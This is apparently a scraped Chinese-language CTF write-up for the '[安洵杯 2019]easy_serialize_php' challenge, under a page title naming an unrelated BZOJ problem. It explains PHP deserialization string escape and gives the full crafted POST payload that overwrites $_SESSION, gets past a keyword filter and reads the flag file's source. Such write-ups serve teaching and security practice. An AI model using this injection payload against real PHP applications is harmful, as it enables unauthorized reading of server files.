1. 程式人生 > 其它 >BZOJ#3038上帝造題的七分鐘2

BZOJ#3038上帝造題的七分鐘2

[安洵杯 2019]easy_serialize_php WriteUp

知識點

  • 深度理解反序列化
    • 序列化時有s:7:"flagphp"之類的話,結構嚴格,有7個字元必定會取7個字元。如果時s:7:"78:":2s",那麼這個屬性的值就是78:":2s。
    • 反序列話時如果所以的值都合適,並且遇到了},就會停止序列化,後面的字元被當作無用字元不被理睬。
  • php反序列化字元逃逸

題解

  • 先審查程式碼,傳入引數f=highlight_file,發現其對應著highlight_file()函式。傳入引數f=phpinfo 發現其對應著phpinfo(),如果傳入引數f=show_image,會執行反序列化,並且讀取img。

  • 發現危險函式file_get_contents()。雖然有base64加密。

  • 題目提示phpinfo可以找到線索。看看吧

    不能使用data://text/plain 協議, 不能使用php://input 協議,發現檔案開頭包含檔案d0g3_f1ag.php

  • 訪問它d0g3_f1ag.php 啥也沒有,估計還是要讀它的原始碼,然後再構造繞過之類的。

  • 繼續審查程式碼,發現把$_SESSION陣列給毀滅了,並且把$_POST的陣列變成變數。這樣我們就可以POST裡傳入$_SESSION=什麼之類的覆蓋掉原來的

  • 然後判斷是否傳入img_path, 傳入的話就對傳入的值base64加密,然後去雜湊值再賦給$_SESSION

  • 最後對$_SESSION繼續反序列化,再進入filter函式驗證。

    這裡就注意了,如果反序列化裡面有以下的字元,會被替換成空字元。這就造成了序列化結構受損。也就有機可乘。

  • 思路,利用POST傳參構造閉合序列化,使後面系統自動加的序列化不被理睬。造成字元逃逸。

    $_SESSION['img']="ZDBnM19mMWFnLnBocA=="; //這是d0g3_f1ag.php的base64編碼

    echo serialize($_SESSION);

    //a:1:{s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

    模仿系統自動的引數加入

    $_SESSION['flagphp']='i:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'

  • 進行過濾後flagphp會被自動消除,所以後面要構造一些長度為7的屬性名 和 該屬性的值。寫大體寫一些,再進行序列化之後看調整,或直接計算好來寫。我採用第一種方法。

  • 此時$_SESSION有兩個引數

    $_SESSION['flagphp']='i:1;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
    $_SESSION['img'] = sha1(base64_encode('123.php')); 
    //這裡是隨便寫的123.php。最後程式給的引數會被逃逸掉,寫什麼都沒關係。
    echo serialize($_SESSION);
    //a:2:{s:7:"flagphp";s:45:"i:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:40:"17770ed716103f91ef23d9913f0f6e37d75f4da7";}
    //現在flagphp被過濾就成了
    a:2:{s:7:"  ";s:45:   " i:1;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:40:"17770ed716103f91ef23d9913f0f6e37d75f4da7";}
    //第一個屬性名為";s:45:  但發現後面的對不上,缺了一個;
    
  • 所以給它加一個$_SESSION['flagphp']的值最前面加一個冒號,這樣它的值就是數字1,屬性名也對了,非常合適

    $_SESSION['flagphp']=';i:1;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
    $_SESSION['img'] = sha1(base64_encode('123.php')); 
    
    //a:2:{s:7:"flagphp";s:44:";i:1;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:40:"17770ed716103f91ef23d9913f0f6e37d75f4da7";}
    //a:2:{s:7:" ";s:44: ";i:1;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:40:"17770ed716103f91ef23d9913f0f6e37d75f4da7";}
    
  • 現在想為什麼要傳flagphp七個數?你想啊,後面的值在序列化時必定要有幾十個。假設已經被替換成空格了,後面會有什麼? 有 ";s:55:"" 這些至少的是4個字元以上。為什麼是7個數,不是8個,因為屬性名被替換成空格後,後面的代替了屬性名只能是7個值,所以正好構造7位數的被替換成空格。不知道解釋清楚沒? 但是,細品,多思考

  • 現在非常合適。POST傳值

    _SESSION[flagphp]=;i:1;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

  • 讀取這個檔案